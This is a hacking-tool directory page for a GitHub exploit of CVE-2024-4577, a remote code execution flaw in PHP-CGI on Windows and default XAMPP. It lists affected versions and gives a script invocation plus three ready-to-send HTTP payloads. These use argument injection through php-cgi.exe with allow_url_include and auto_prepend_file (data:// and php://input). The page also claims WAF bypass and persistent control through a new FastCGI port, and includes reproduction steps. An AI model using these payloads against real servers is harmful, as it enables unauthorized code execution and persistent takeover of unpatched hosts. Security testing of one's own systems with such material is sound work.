Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-4577-PHP-RCE — [漏洞复现] 全球首款利用PHP默认环境（XAMPP）的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。 | Kitploit
Tools/GitHubGitHub/xcanwin/cve-2024-4577-php-rce
Vulnerability AnalysisExploitationWeb Application ExploitationWAF BypassPenetration TestingPayload Development
GitHubxcanwin/cve-2024-4577-php-rce

CVE-2024-4577-PHP-RCE

[漏洞复现] 全球首款利用PHP默认环境（XAMPP）的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。

View Repository
1623342 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-4577-PHP-RCE

Project Introduction and Principle

  • The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment (XAMPP).
  • The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
  • Implements RCE in the default PHP environment. Principle: cgi.force_redirect + REDIRECT-STATUS.
  • New original EXP, supports WAF bypass scenarios. Principle: Establish FastCGI server + FastCGI protocol communication.
  • New original EXP, supports SSRF scenarios. Principle: data:// protocol + GET request.

Advantages of EXP 1

  • RCE without requiring allow_url_include, auto_prepend_file, or auto_append_file. Can include arbitrary files and PHP files.
  • Avoids keywords often blocked by WAF such as , , .
allow_url_include
auto_prepend_file
auto_append_file
  • All communication with the FastCGI server is not recorded by the WAF.
  • Listens on a new port, thus achieving persistent control of the PHP server, independent of Apache and PHP.

    • Vulnerability Overview

    InformationContent
    Vulnerability NamePHP RCE
    Vulnerability IDCVE-2024-4577
    Risk LevelHigh
    Vulnerability TypeRCE
    Exploit DifficultyLow

    Affected Versions

    • PHP Windows 8.3.0 <= Affected < 8.3.8
    • PHP Windows 8.2.0 <= Affected < 8.2.20
    • PHP Windows 8.1.0 <= Affected < 8.1.29
    • PHP Windows Affected == 8.0.x
    • PHP Windows Affected == 7.x
    • PHP Windows Affected == 5.x
    • XAMPP Windows 8.2.0 <= Affected <= 8.2.12
    • XAMPP Windows 8.1.0 <= Affected <= 8.1.25
    • XAMPP Windows Affected == 8.0.x
    • XAMPP Windows Affected == 7.x
    • XAMPP Windows Affected == 5.x

    EXP 1

    Can be used for WAF bypass scenarios + default scenarios:

    root@kitploit:~
    python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort

    Example:

    root@kitploit:~
    python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80

    EXP 2

    Can be used for SSRF scenarios + default scenarios:

    root@kitploit:~
    http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

    EXP 3

    Can be used for default scenarios:

    root@kitploit:~
    POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost

<?php die("Te"."sT");?>

    EXP 4

    Can be used for default scenarios:

    root@kitploit:~
    POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

    Reproduction

    1. Server environment:
    root@kitploit:~
    XAMPP Windows 8.2.12
    1. Download and install XAMPP on the server:
    root@kitploit:~
    https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

Or manually choose an affected version here: https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/
    1. Server configuration
    root@kitploit:~
    No modifications needed, keep the default configuration
    1. Client using EXP
    root@kitploit:~
    Test using the above EXP
    1. Verification
    root@kitploit:~
    Check whether the string "TesT" is returned or the content of the server's system.ini file.
    Download Tool